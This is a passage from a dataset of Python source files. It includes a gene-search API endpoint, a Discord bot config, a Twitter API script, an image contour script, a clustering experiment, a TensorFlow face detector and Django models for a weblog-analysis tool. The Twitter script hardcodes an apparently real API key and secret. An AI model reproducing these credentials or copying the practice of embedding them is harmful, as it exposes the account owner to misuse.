print('Getting gene result')\n        self.update_state(state='PROGRESS',\n                          meta={'status': 'Fetching the gene Results'})\n        result, status = get_genes(lookup, species)\n        complete_result = []\n        for each_row in result:\n            complete_result.append({\n                'species': each_row.species,\n                'stable_id': each_row.stable_id,\n                'display_label': each_row.display_label,\n                'location': each_row.location,\n                'db': each_row.db\n                    })        \n\n            results = {'status': 'Completed', 'total_records': len(complete_result), 'lookup': lookup, 'species': species, 'data': complete_result} \n        return results\n\n@ns.route('/status')\n@api.response(405, 'Post not found.')\n@api.response(400, 'Validation Error')\n@api.response(200, 'Found gene information')\nclass GeneStatus(Resource):\n    @api.expect(search_status, validate=True)\n    @api.marshal_with(gene_list)\n    def get(self):\n\n        \"\"\"\n         Get the result from celery by submitting  task id\n        \"\"\"\n        args = search_status.parse_args()\n        queue_id = args['qid']\n        res = GeneSearch.genesearch.AsyncResult(queue_id)\n        result = {\n                   'status' : res.state,\n                   'total_records': res.info.get('total_records', 0),\n                   'lookup': res.info.get('lookup', None),\n                   'species': res.info.get('species', None),\n                   'data': res.info.get('data', None), \n                }\n        return result, 200\n\n","sub_path":"gene_query/api/rabbitmqp/endpoints/rabbitmq_gene_search.py","file_name":"rabbitmq_gene_search.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"409676520","text":"import os\nimport pathlib\n\ndiscord_token = \"YOUR_TOKEN_HERE\"\nclient_id = \"YOUR_CLIENT_ID\"\nprefix = \"YOUR_PREFIX_HERE\"\nbot_folder = \"YOUR_STORAGE_FOLDER_NAME_HERE\"\ncfg_name = \"botdata.cfg\"\nsqlite_name = \"santabotdb.sqlite\"\ndbg_name = \"debug.log\"\nrole_channel = -1\nmin_budget = 10\nmax_budget = 20\n\n\n###############################################\n###           DO NOT CHANGE BELOW           ###\n###############################################\ncfg_path = os.path.join(str(pathlib.Path(__file__).parent), bot_folder, cfg_name)\nsqlite_path = os.path.join(str(pathlib.Path(__file__).parent), bot_folder, sqlite_name)\ndbg_path = os.path.join(str(pathlib.Path(__file__).parent), bot_folder, dbg_name)\n","sub_path":"CONFIG.py","file_name":"CONFIG.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"498587418","text":"import urllib.request\r\nfrom urllib.parse import urlencode\r\nimport base64\r\nimport json\r\n\r\n\r\napi_key = 'U8R7aaCmJ5lqmyhnvXWRw7iTv'\r\napi_secret = 'kpCCEjeBdNRsfhW2zyv02gucUMvevZPODogs0zOkbry0O805ce'\r\n\r\n\r\ndef get_bearer_token():\r\n    data = '%s:%s' % (api_key, api_secret)\r\n    b64_data = base64.b64encode(data.encode()).decode()\r\n    headers = {'Authorization': 'Basic %s' % b64_data,\r\n               'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'}\r\n    url = 'https://api.twitter.com/oauth2/token'\r\n    params = {'grant_type':'client_credentials'}\r\n    request = urllib.request.Request(url, urlencode(params).encode(), headers=headers)\r\n    response = urllib.request.urlopen(request).read().decode()\r\n    token = json.loads(response)['access_token']\r\n    return token\r\n\r\n\r\ndef get_data(token):\r\n    api_url = 'https://api.twitter.com/1.1/friends/ids.json?user_id=PJTascher'\r\n    b64_token = base64.b64encode(token.encode()).decode()\r\n    headers = {'Authorization': 'Bearer %s' % b64_token}\r\n    request = urllib.request.Request(api_url, headers=headers)\r\n    response = urllib.request.urlopen(request).read().decode()\r\n    return json.loads(response)\r\n\r\ntoken = get_bearer_token()\r\nprint(token)\r\ndata = get_data(token)\r\nprint(data)\r\n\r\n\r\n\r\n","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"543846434","text":"import numpy as np\nimport skvideo.io\nimport matplotlib.pyplot as plt\nfrom skimage import measure\n\n\"\"\"\n\tMake data grayscale. \n\tFind contours using some CV algorithm implemented by skimage. \n\"\"\"\n\ndef rgb2gray(rgb): return np.dot(rgb[...,:3], [0.299, 0.587, 0.114])\n\ndata = skvideo.io.vread(\"example.mp4\") \ndata = rgb2gray(data)\n\nprint(data.shape)\n\nfig, ax = plt.subplots()\n\nfor i in range(data.shape[0]): \n\tax.cla()\n\tax.imshow(data[i], cmap=\"gray\")\n\n\t# find contours \n\tcontours = measure.find_contours(data[i], 100)\n\tprint(len(contours))\n\tfor n, contour in enumerate(contours):\n\t\tax.plot(contour[:, 1], contour[:, 0], linewidth=2)\n\n\tplt.pause(.1)\n\n","sub_path":"detect_cells.py","file_name":"detect_cells.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"150648440","text":"from sklearn.cluster import KMeans\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.cluster import AgglomerativeClustering\nfrom sklearn.mixture import GaussianMixture\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.externals import joblib\nimport seaborn as sns\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom scipy.spatial.distance import cosine\nfrom sklearn.utils import shuffle\n\n\ndef split_Train_Test(Alluser, partiratio=0.7):\n    Alluser = pd.read_csv(TestUser_url, sep=\",\", index_col=0)\n    #     display(Alluser)\n    Alluser = shuffle(Alluser, random_state=1024)\n    n = Alluser.shape[0]\n    trainN = int(n * partiratio)\n    testN = n - trainN\n    trainUser = Alluser[:trainN]\n    testUser = Alluser[trainN:]\n    print(testUser.shape[0], testN)\n    return [trainUser, testUser]\n\n\n# split_Train_Test(TestUser_url)\n\ndef splitLayergroup(data, n_component, glabelName=\"Layergroup\"):\n    \"\"\"按Layergroup分成几个DF 并调用cos生成这几个DF的coslist\"\"\"\n    gcoslist = []\n    for i in range(n_component):\n        goupNdata = data[data[\"Layergroup\"] == i].copy()\n        goupNdata.drop(columns=[\"Layergroup\"], inplace=True)\n        #         print(\"goupNdata\",goupNdata.shape)\n        gcoslist.append(groupCosine(goupNdata))\n    return gcoslist\n\n\ndef groupCosine(data):\n    \"\"\"输入一个datafram，返回行两两cosine的平均\"\"\"\n    #     print(data.shape)\n    gN = data.shape[0]\n    if gN < 2:\n        return 1\n    catelist = data.columns\n    data = np.array(data)\n    cosavg = 0\n    addnum = gN * (gN - 1) / 2\n    for i in range(gN - 1):\n        for j in range(i + 1, gN):\n            if (j >= gN): continue\n            cosavg += 1 - cosine(data[i], data[j])\n\n    return cosavg / addnum\n\n\ndef innerCosineAvg(coslist):\n    return sum(coslist) / len(coslist)\n\n\ndef interCosine(data, show=False):\n    sns.heatmap(data.groupby([\"Layergroup\"]).mean().T.corr())\n    display(plt.show())\n    #     if show:\n    #         plt.show()\n\n    return groupCosine(data.groupby([\"Layergroup\"]).mean())\n\n\ndef trainBestModel(testData):\n    bestModel = 0\n    objscore = [0, 0, 0]\n    n_components_range = range(3, 30)\n\n    for n_components in n_components_range:\n        testUser = testData.copy()\n        print(testUser.shape)\n        #             testUser = pd.read_csv(TestUser_url, sep=\",\", index_col=0)\n        # Fit a Gaussian mixture with EM\n        model = AgglomerativeClustering(affinity='cosine', compute_full_tree='auto',\n                                        connectivity=None, linkage='ward', memory=None, n_clusters=n_components,\n                                        pooling_func='deprecated')\n\n        # model = GaussianMixture(n_components=n_components,\n        #                         covariance_type=cv_type)\n        model.fit(testUser)\n        label = model.predict(testUser)\n\n        testUser[\"Layergroup\"] = label\n        print(testUser[\"Layergroup\"].value_counts())\n        innercosList = splitLayergroup(testUser, n_components)\n        ## 3个分\n        innerS = innerCosineAvg(innercosList)\n        interS = interCosine(testUser)\n        curobj = [innerS / interS, innerS, interS]\n        # 更新\n        if curobj[0] > objscore[0]:\n            objscore = curobj.copy()\n            bestModel = model\n        print(\"目标函数\", curobj)\n    print(\"最好的obj是\", objscore)\n    return bestModel\n\n\n#         print(model.weights_)\n\ndef storeBestModel(trainUser):\n    model = trainBestModel(trainUser)\n    joblib.dump(model, \"mel_best_layer_model_1119.m\")\n    return model\n\n\nTestUser_url = \"../GroupPreferModel/Mel_testUser.csv\"\ntrainUser, testUser = split_Train_Test(TestUser_url)\nmodel = storeBestModel(trainUser)\n\nprint(model)\ntestUser[\"Layergroup\"] = model.predict(testUser)\nprint(testUser[\"Layergroup\"].value_counts())\n\n\n","sub_path":"GroupPreferModel/LayermodelTrain.py","file_name":"LayermodelTrain.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"121166758","text":"import math\nimport os\n\nimport numpy as np\nimport tensorflow as tf\nimport tqdm\nfrom skimage import io, transform, color\n\n\nclass TFFaceDetection(object):\n\n    def __init__(self, thres=0.4, scale=0.2, batch_size=8, max_faces=100, crop=False, output_folder=None):\n        \"\"\" Model is best at 512x512\n        Args:\n            thres: confidence threshold above which to keep bounding boxes\n            scale: The scale ratio between bounding box size and image size above which to keep bounding boxes\n        \"\"\"\n        protobuf_file = \"/home/eugene/_MODELS/Face/face_detection_frozen_inference_graph_face.pb\"\n\n        det_graph = tf.Graph()\n        with det_graph.as_default():\n            graph_def = tf.GraphDef()\n            with tf.gfile.GFile(protobuf_file, 'rb') as fid:\n                serialized_graph = fid.read()\n                graph_def.ParseFromString(serialized_graph)\n                tf.import_graph_def(graph_def, name='')\n\n        self.sess = tf.Session(graph=det_graph)\n        self.img_tensors, self.boxes, self.scores = self.get_tensors(det_graph)\n        self.min_thres = thres\n        self.min_scale = scale\n        self.crop = crop\n        self.batch_size = batch_size\n        self.output_folder = output_folder\n        self.max_faces = max_faces\n\n    def get_tensors(self, graph):\n        image_tensor = graph.get_tensor_by_name('image_tensor:0')\n        boxes = graph.get_tensor_by_name('detection_boxes:0')\n        scores = graph.get_tensor_by_name('detection_scores:0')\n        return image_tensor, boxes, scores\n\n    def write_detections(self, save_path, image_name, faces):\n        lines = ['Filename,x1,y1,x2,y2,score\\n']\n        for face in faces:\n            x1, y1, x2, y2, score = np.round(face, 3)\n            if score < self.min_thres:\n                break\n            lines.append(','.join([os.path.basename(image_name), str(x1), str(y1), str(x2), str(y2), str(score), '\\n']))\n\n        with open(save_path, 'w') as file:\n            file.writelines(lines)\n\n\n    def process(self, fnames, aligner=None):\n        detections = np.zeros((len(fnames), 4))\n        if isinstance(fnames[0], str):\n            images = [io.imread(fname) for fname in fnames]\n            images = [color.gray2rgb(img) if len(img.shape) < 3 else img[:, :, :3] for img in images]\n        elif isinstance(fnames[0], np.ndarray):\n            images = np.atleast_2d(fnames)\n\n        resize_images = [(transform.resize(img, (512, 512)) * 255).astype(np.uint8) for img in images]\n        boxes_list, scores_list = self.sess.run([self.boxes, self.scores], feed_dict={self.img_tensors: resize_images})\n        del resize_images\n        boxes_list = np.dstack((boxes_list[..., 1], boxes_list[..., 0], boxes_list[..., 3], boxes_list[..., 2]))\n        boxes_list = boxes_list * 512\n        for i, img in enumerate(images):\n            for j, (bbox, score) in enumerate(zip(boxes_list[i][:self.max_faces], scores_list[i][:self.max_faces])):\n                if score > self.min_thres and (bbox[2] - bbox[0]) * (bbox[3] - bbox[1]) / (512 * 512) > self.min_scale:\n                    h, w = img.shape[0], img.shape[1]\n                    ratio_h, ratio_w = h / 512, w / 512\n                    detections[i, j] = [bbox[0] * ratio_w, bbox[1] * ratio_h, bbox[2] * ratio_w, bbox[3] * ratio_h,\n                                        score]\n\n            if self.output_folder:\n                txt_path = os.path.join(self.output_folder, os.path.splitext(os.path.basename(fnames[i]))[0] + '.txt')\n                self.write_detections(txt_path, fnames[i], detections[i])\n        return detections\n\n    def __call__(self, *args, **kwargs):\n        os.makedirs(self.output_folder, exist_ok=True)\n        paths = args[0]\n        batch_size = self.batch_size\n        num = len(paths)\n        detections = np.zeros((num, self.max_faces, 5))\n        begin, end = 0, 0\n        for i in tqdm.tqdm(range(math.ceil(num / batch_size))):\n            end = begin + batch_size if end <= num else num\n            batch_path = paths[begin:end]\n            detections[begin:end] = self.process(batch_path)\n            begin = end\n        return detections\n","sub_path":"face/detection/tf_face.py","file_name":"tf_face.py","file_ext":"py","file_size_in_byte":4128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"568664149","text":"from __future__ import unicode_literals\nimport datetime\nfrom django.db import models, migrations\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\nfrom model_utils import Choices\nfrom model_utils.fields import AutoCreatedField, AutoLastModifiedField\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.db import IntegrityError, transaction\nfrom django.contrib.messages import constants as message_constants\nfrom django.core.exceptions import ValidationError\nfrom django_enumfield import enum\nfrom threading import Thread\nfrom utils import *\nimport json\nfrom jsonfield import JSONField\nfrom django.contrib.contenttypes.fields import GenericForeignKey\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.contrib.contenttypes.fields import GenericRelation\nfrom django.core import management\nfrom ipwhois import IPWhois\nimport manati\nimport whois\nfrom share_modules.virustotal import *\nfrom share_modules.util import get_domain_by_obj, get_data_from_url\nimport dateutil.parser\nimport re\nimport pythonwhois\nfrom pythonwhois.shared import WhoisException\nfrom bulk_update.helper import bulk_update\nvt = vt()\n\n\n\n# from django.db.models.signals import post_save\n# from django.dispatch import receiver\n\nMESSAGE_TAGS = {\n    message_constants.DEBUG: 'info',\n    message_constants.INFO: 'info',\n    message_constants.SUCCESS: 'success',\n    message_constants.WARNING: 'warning',\n    message_constants.ERROR: 'danger',\n}\n\n\ndef postpone(function):\n  def decorator(*args, **kwargs):\n    t = Thread(target = function, args=args, kwargs=kwargs)\n    t.daemon = True\n    t.start()\n  return decorator\n\n\n@postpone\ndef delete_threading(previous_exist):\n    previous_exist.delete()\n\n\nclass AnalysisSessionManager(models.Manager):\n\n    @transaction.atomic\n    def create(self, filename, key_list, weblogs, current_user,type_file, uuid):\n        try:\n            analysis_session = AnalysisSession(type_file=type_file, uuid=str(uuid))\n            wb_list = []\n            previous_exists = AnalysisSession.objects.filter(name=filename, users__id=current_user.id)\n            if previous_exists.count() > 0:\n                count = 1\n                while previous_exists.count() > 0:\n                    copy_filename = filename + \" \" + \"(\" + str(count) + \")\"\n                    previous_exists = AnalysisSession.objects.filter(name=copy_filename, users__id=current_user.id)\n                    count += 1\n\n                filename = copy_filename\n\n            with transaction.atomic():\n                analysis_session.name = filename\n                analysis_session.clean()\n                analysis_session.save()\n                analysis_sessions_users = AnalysisSessionUsers.objects.create(analysis_session_id=analysis_session.id,\n                                                                              user_id=current_user.id,\n                                                                              columns_order=json.dumps(key_list))\n                for elem in weblogs:\n                    i = 0\n                    hash_attr = {}\n                    for k in key_list:\n                        hash_attr[k['column_name']] = elem[i]\n                        i += 1\n                    verdict = hash_attr[\"verdict\"]\n                    dt_id = hash_attr[\"dt_id\"]\n                    hash_attr.pop(\"db_id\", None)\n                    hash_attr.pop(\"register_status\", None)\n                    hash_attr.pop('verdict', None)\n                    hash_attr.pop('dt_id', None)\n\n                    wb = Weblog(   analysis_session=analysis_session,\n                                   register_status=RegisterStatus.READY,\n                                   id=dt_id,\n                                   verdict=verdict,\n                                   attributes=json.dumps(hash_attr),\n                                   mod_attributes=json.dumps({}))\n                    wb.clean(exclude=['analysis_session'])\n                    wb_list.append(wb)\n                # analysis_session.weblog_set.set(wb_list)\n                Weblog.objects.bulk_create(wb_list) # create weblogs\n                Weblog.create_bulk_IOCs(wb_list) # create IOCs\n            return analysis_session\n        except Exception as e:\n            print_exception()\n            return None\n\n    @transaction.atomic\n    def update_uuid(self, analysis_session, analysis_session_uuid, weblogs_id, weblogs_uuid):\n        analysis_session.uuid = analysis_session_uuid\n        analysis_session.save()\n        assert len(weblogs_id) == len(weblogs_uuid)\n        for index, id in enumerate(weblogs_id):\n            weblog = analysis_session.weblog_set.filter(id=id)[0]\n            attribute = weblog.attributes_obj\n            attribute['uuid'] = weblogs_uuid[index]\n            weblog.attributes = attribute\n            weblog.save()\n\n    @transaction.atomic\n    def add_weblogs(self,analysis_session_id,key_list, data):\n        try:\n            temp_key_list = key_list\n            print(\"Weblogs to save: \")\n            print(len(data))\n            wb_list = []\n            with transaction.atomic():\n                for elem in data:\n                    i = 0\n                    hash_attr = {}\n                    for k in temp_key_list:\n                        hash_attr[k] = elem[i]\n                        i += 1\n                    wb = Weblog()\n                    wb.analysis_session_id = analysis_session_id\n                    wb.register_status = RegisterStatus.READY\n                    wb.dt_id = hash_attr[\"dt_id\"]\n                    wb.verdict = hash_attr[\"verdict\"]\n                    hash_attr.pop(\"db_id\", None)\n                    hash_attr.pop(\"register_status\", None)\n                    hash_attr.pop('verdict', None)\n                    hash_attr.pop('dt_id', None)\n                    wb.attributes = json.dumps(hash_attr)\n                    wb.clean()\n                    wb.save()\n                    wb_list.append(wb)\n            print(\"Weblogs saved: \")\n            print(len(wb_list))\n            return wb_list\n        except ValidationError as e:\n            print_exception()\n            return e\n        except IntegrityError as e:\n            print_exception()\n            return e\n        except Exception as e:\n            print_exception()\n            return e\n\n    @transaction.atomic\n    def sync_weblogs(self, analysis_session_id,data, user):\n        try:\n            print(\"Weblogs to update: \")\n            print(len(data))\n            data_ids = list(data.keys())\n            with transaction.atomic():\n                #get all WB changed by models\n                analysis_session = AnalysisSession.objects.get(id=analysis_session_id)\n                wb_list = analysis_session.weblog_set.filter(register_status=RegisterStatus.MODULE_MODIFICATION)\n                wb_exlude_similar = wb_list.exclude(id__in=data_ids)\n                list_objs = []\n                for wb in wb_exlude_similar:\n                    wb.set_register_status(RegisterStatus.READY, save=True)\n                    list_objs.append(wb)\n\n                wb_similar = analysis_session.weblog_set.filter(id__in=data_ids)\n                for wb in wb_similar:\n                    wb.set_verdict(data[str(wb.id)], user, save=True)\n                    list_objs.append(wb)\n\n            return list_objs\n        except ValidationError as e:\n            print_exception()\n            return []\n        except IntegrityError as e:\n            print_exception()\n            return []\n        except Exception as e:\n            print_exception()\n            return []\n\n\nclass TimeStampedModel(models.Model):\n    \"\"\"\n    An abstract base class model that provides self-updating\n    ``created`` and ``modified`` fields.\n\n    \"\"\"\n    created_at = AutoCreatedField(_('created_at'))\n    updated_at = AutoLastModifiedField(_('updated_at'))\n\n    class Meta:\n        abstract = True\n\n\nclass RegisterStatus(enum.Enum):\n    NOT_SAVE = -1\n    READY = 0\n    CLIENT_MODIFICATION = 1\n    MODULE_MODIFICATION = 3\n    UPGRADING_LOCK = 2\n\n\nclass AnalysisSession(TimeStampedModel):\n    TYPE_FILES = Choices(('bro_http_log','BRO weblogs http.log'),\n                         ('cisco_file', 'CISCO weblogs Specific File'))\n    STATUS = Choices(('open', 'Open'),('closed', 'Closed'))\n    INFO_ATTRIBUTES = {TYPE_FILES.cisco_file: {'url':'http.url', 'ip_dist':'endpoints.server'},\n                       TYPE_FILES.bro_http_log: {'url': 'host', 'ip_dist': 'id.resp_h'}}\n\n    users = models.ManyToManyField(User, through='AnalysisSessionUsers')\n    name = models.CharField(max_length=200, blank=False, null=False, default='Name by Default')\n    public = models.BooleanField(default=False)\n    type_file = models.CharField(choices=TYPE_FILES, max_length=50, null=False, default=TYPE_FILES.cisco_file)\n    uuid = models.CharField(max_length=40, null=True, default='')\n    status = models.CharField(choices=STATUS, max_length=30, null=False, default=STATUS.open)\n\n    objects = AnalysisSessionManager()\n    comments = GenericRelation('Comment')\n\n    def __unicode__(self):\n        return unicode(self.name)\n\n    def get_columns_order_by(self, user):\n        asu = AnalysisSessionUsers.objects.filter(analysis_session_id=self.id, user_id=user.id).first()\n        if asu is None:\n            return []\n        else:\n            return json.loads(asu.columns_order)\n\n    def set_columns_order_by(self,user,columns_order):\n        asu = AnalysisSessionUsers.objects.filter(analysis_session=self,user_id=user.id).first()\n        if asu is None:\n            asu = AnalysisSessionUsers.objects.create(analysis_session=self, user_id=user.id)\n        asu.columns_order = json.dumps(columns_order)\n        asu.save()\n\n    def __get_all_IOCs__(self, ioc_type):\n        weblogs_ids = self.weblog_set.values_list('id', flat=True)\n        return IOC.objects.filter(weblogs__in=weblogs_ids, ioc_type=ioc_type).distinct()\n\n    def get_all_IOCs_domain(self):\n        return self.__get_all_IOCs__(IOC.IOC_TYPES.domain)\n\n    def get_all_IOCs_ip(self):\n        return self.__get_all_IOCs__(IOC.IOC_TYPES.ip)\n\n    class Meta:\n        db_table = 'manati_analysis_sessions'\n        permissions = (\n            (\"read_analysis_session\", \"Can read an analysis session\"),\n            (\"edit_analysis_session\", \"Can edit an analysis session\"),\n            (\"create_analysis_session\", \"Can create an analysis session\"),\n            (\"update_analysis_session\", \"Can update an analysis session\"),\n        )\n\n\nclass AnalysisSessionUsers(TimeStampedModel):\n    analysis_session = models.ForeignKey(AnalysisSession)\n    user = models.ForeignKey(User)\n    columns_order = JSONField(default=json.dumps({}), null=True)\n\n    class Meta:\n        db_table = 'manati_analysis_sessions_users'\n\n\nclass Weblog(TimeStampedModel):\n    id = models.CharField(primary_key=True, null=False, max_length=15)\n    analysis_session = models.ForeignKey(AnalysisSession, on_delete=models.CASCADE, null=False)\n    attributes = JSONField(default=json.dumps({}), null=False)\n    # Verdict Status Attr\n    VERDICT_STATUS = Choices(('malicious','Malicious'),\n                             ('legitimate','Legitimate'),\n                             ('suspicious','Suspicious'),\n                             ('undefined', 'Undefined'),\n                             ('falsepositive','False Positive'),\n                             ('malicious_legitimate', 'Malicious/Legitimate'),\n                             ('suspicious_legitimate', 'Suspicious/Legitimate'),\n                             ('undefined_legitimate', 'Undefined/Legitimate'),\n                             ('falsepositive_legitimate', 'False Positive/Legitimate'),\n                             ('undefined_malicious', 'Undefined/Malicious'),\n                             ('suspicious_malicious', 'Suspicious/Malicious'),\n                             ('falsepositive_malicious', 'False Positive/Malicious'),\n                             ('falsepositive_suspicious', 'False Positive/Suspicious'),\n                             ('undefined_suspicious', 'Undefined/Suspicious'),\n                             ('undefined_falsepositive', 'Undefined/False Positive'),\n                             )\n    verdict = models.CharField(choices=VERDICT_STATUS, default=VERDICT_STATUS.undefined, max_length=50, null=True)\n    register_status = enum.EnumField(RegisterStatus, default=RegisterStatus.READY, null=True)\n    mod_attributes = JSONField(default=json.dumps({}), null=True)\n    comments = GenericRelation('Comment')\n    dt_id = -1\n\n    @property\n    def domain(self):\n        if self.analysis_session.type_file == '':\n            self.analysis_session.type_file = AnalysisSession.TYPE_FILES.cisco_file\n            self.analysis_session.save()\n        key_url = AnalysisSession.INFO_ATTRIBUTES[self.analysis_session.type_file]['url']\n        url = self.attributes_obj[key_url]\n        d_type, domain = get_data_from_url(url)\n        return domain\n\n    @property\n    def domain_ioc(self):\n        iocs = self.ioc_set.filter(ioc_type=IOC.IOC_TYPES.domain)\n        if not iocs:\n            self.create_IOCs()\n            iocs = self.ioc_set.filter(ioc_type=IOC.IOC_TYPES.domain)\n            if not iocs:\n                return None\n        return iocs.first()\n\n    @property\n    def ip(self):\n        if self.analysis_session.type_file == '':\n            self.analysis_session.type_file = AnalysisSession.TYPE_FILES.cisco_file\n            self.analysis_session.save()\n        key_ip = AnalysisSession.INFO_ATTRIBUTES[self.analysis_session.type_file]['ip_dist']\n        return self.attributes_obj[key_ip]\n\n    @transaction.atomic\n    def create_IOCs(self, save=True):\n        if not self.ioc_set.all():\n            key_url = AnalysisSession.INFO_ATTRIBUTES[self.analysis_session.type_file]['url']\n            url = self.attributes_obj[key_url]\n            try:\n                d_type, domain = get_data_from_url(url)\n                if not domain:\n                    raise Exception(\"Domain value cannot be None\")\n                else:\n                    ioc_domain = IOC.objects.create_IOC_from_weblog(domain, d_type, self,save)\n            except Exception as ex:\n                logger.error(\"Error creating domain IOC , weblog-id \" + str(self.id) + \" | \" + str(ex))\n\n            try:\n                ip = self.ip\n                if not ip:\n                    raise Exception(\"IP value cannot be None\")\n                else:\n                    ioc_ip = IOC.objects.create_IOC_from_weblog(ip, 'ip', self, save)\n            except:\n                logger.error(\"Error creating IP IOC , weblog-id \" + str(self.id)+ \" | \" + str(ex))\n\n            return ioc_domain, ioc_ip\n\n\n    @staticmethod\n    @postpone\n    def create_bulk_IOCs(weblogs):\n        with transaction.atomic():\n            for weblog in weblogs:\n                weblog.create_IOCs()\n\n    @property\n    def attributes_obj(self):\n        attr = self.attributes\n        if attr:\n            if type(attr) == dict:\n                return attr\n            else:\n                return json.loads(attr)\n        else:\n            return json.loads({})\n\n    class Meta:\n        db_table = 'manati_weblogs'\n\n    def clean(self, *args, **kwargs):\n        exclude_list = kwargs.pop('exclude', [])\n        exclude_list += ['verdict', 'mod_attributes']\n        self.clean_fields(exclude=exclude_list, *args, **kwargs)\n        if len(self.id.split(':')) <= 1:\n            self.id = str(self.analysis_session_id) + \":\" + str(self.id)\n        merge_verdict = self.verdict.split('_')\n\n        if len(merge_verdict) > 1:\n            user_verdict = merge_verdict[0]\n            model_verdict = merge_verdict[1]\n            temp_verdict1 = str(user_verdict) + '_' + str(model_verdict)\n            temp_verdict2 = str(model_verdict)+ '_' + str(user_verdict)\n            if temp_verdict1 in dict(self.VERDICT_STATUS) is False and temp_verdict2 in dict(self.VERDICT_STATUS) is False :\n                raise ValidationError({'verdict': _('Verdict is incorrect, you should use valid verdicts or merging of valid verdicts')})\n            else:\n                pass\n        else:\n            if not (self.verdict in dict(self.VERDICT_STATUS)):\n                raise ValidationError(\n                    {'verdict': _('Verdict is incorrect, you should use valid verdicts or merging of valid verdicts')})\n\n    def weblogs_history(self):\n        return WeblogHistory.objects.filter(weblog=self).order_by('-version')\n\n    def set_mod_attributes(self, module_name, new_mod_attributes, save=False):\n        new_mod_attributes['created_at'] = str(datetime.datetime.now())\n        new_mod_attributes['Module Name'] = module_name\n        if str(self.mod_attributes) == '':\n            self.mod_attributes = {}\n        try:\n            self.mod_attributes[module_name] = new_mod_attributes\n        except TypeError as e:\n            self.mod_attributes = {}\n            self.mod_attributes[module_name] = new_mod_attributes\n        # self.moduleauxweblog_set.create(status=ModuleAuxWeblog.STATUS.modified)\n\n        if save:\n            self.clean()\n            self.save()\n\n    @transaction.atomic\n    def save_with_history(self, content_object, *args, **kwargs):\n        with transaction.atomic():\n            old_wbl = Weblog.objects.get(id=self.id)\n            old_verdict = kwargs['old_verdict'] if 'old_verdict' in kwargs else old_wbl.verdict\n            new_verdict = kwargs['new_verdict'] if 'new_verdict' in kwargs else self.verdict\n            if content_object is None:\n                content_object = self.analysis_session.users.first()\n            weblog_history = self.weblogs_history()\n            if not weblog_history or self.verdict != weblog_history[0].verdict:\n                newWeblogHistoy = WeblogHistory(weblog=self,\n                                                old_verdict=old_verdict,\n                                                verdict= new_verdict,\n                                                content_object=content_object)\n                newWeblogHistoy.save()\n            # # save summary history\n            kwargs.pop('old_verdict', None)\n            kwargs.pop('new_verdict', None)\n            self.clean()\n            super(Weblog, self).save(*args, **kwargs)\n\n    def set_register_status(self, status, save=False):\n        # if RegisterStatus.is_state(status):\n        self.register_status = status\n        if save:\n            self.clean()\n            self.save()\n        # else:\n        #     raise ValidationError(\"Status Assigned is not correct\")\n    \n    @staticmethod\n    @transaction.atomic\n    def bulk_verdict_and_attr_from_module(domain,module_verdict,mod_attribute,external_module):\n        with transaction.atomic():\n            weblogs = IOC.get_all_weblogs_by_domain(domain)\n            if module_verdict:\n                Metric.objects.labeling_by_module(external_module, weblogs, module_verdict,domain)\n\n            for weblog in weblogs:\n                weblog.set_mod_attributes(external_module.module_name, mod_attribute, save=False)\n                if module_verdict:\n                    weblog.set_verdict_from_module(module_verdict, external_module, save=False)\n            bulk_update(weblogs)\n\n\n    def set_verdict_from_module(self, module_verdict, external_module, save=False):\n        old_verdict = self.verdict\n        # ADDING LOCK\n        #method that modules have to use for changing the verdict\n        if module_verdict in dict(self.VERDICT_STATUS):\n            if self.verdict != self.VERDICT_STATUS.undefined and self.verdict != module_verdict:\n                merge_verdicts = self.verdict.split('_')\n                if len(merge_verdicts) > 1:\n                    user_verdict = merge_verdicts[0]\n                else:\n                    user_verdict = self.verdict\n\n                ctype = ContentType.objects.filter(model='user')\n                ctype = ctype.first()\n                last_history = self.histories.filter(content_type=ctype)\n                # the some verdict in the history in this weblog was labelled by a user\n                if last_history.count() > 0 and not str(user_verdict) == str(module_verdict):\n                    temp_verdict = str(user_verdict) + '_' + str(module_verdict)\n                else:\n                    temp_verdict = str(module_verdict)\n                self.verdict = temp_verdict\n            else:\n                self.verdict = module_verdict\n            self.set_register_status(RegisterStatus.MODULE_MODIFICATION)\n        else:\n            raise ValidationError({'verdict': 'The assigned verdict is invalid ' + module_verdict})\n\n        new_verdict = self.verdict\n        if save:\n            self.clean()\n            self.save_with_history(external_module, old_verdict=old_verdict, new_verdict=new_verdict)\n\n    def set_verdict(self, verdict, user, save=False):\n        #ADDING LOCK\n        # check if verdict exist\n        if verdict in dict(self.VERDICT_STATUS):\n            if self.verdict and self.register_status == RegisterStatus.MODULE_MODIFICATION:\n                # first is the user says\n                temp_verdict = str(verdict) + '_' + str(self.verdict)\n                self.verdict = temp_verdict\n                # temp_verdict2 = str(verdict) + '_' + str(self.verdict)\n                # if temp_verdict1 in dict(self.VERDICT_STATUS):\n                #     self.verdict = temp_verdict1\n                # elif temp_verdict2 in dict(self.VERDICT_STATUS):\n                #     self.verdict = temp_verdict2\n                # else:\n                #     raise KeyError\n                self.set_register_status(RegisterStatus.READY)\n            elif self.verdict and self.register_status == RegisterStatus.READY:\n                self.verdict = verdict\n            elif self.verdict:\n                # this check any new state that we didn't consider yet\n                raise Exception(\n                    \"It must not happen, there is register_status not zero (or READY) and should be to be changed\")\n            elif not self.verdict:\n                #SOMETHING IS TOTALLY WRONG\n                raise Exception(\n                    \"It must not happen, verdict is false  and should be to be changed\")\n        else:\n            raise 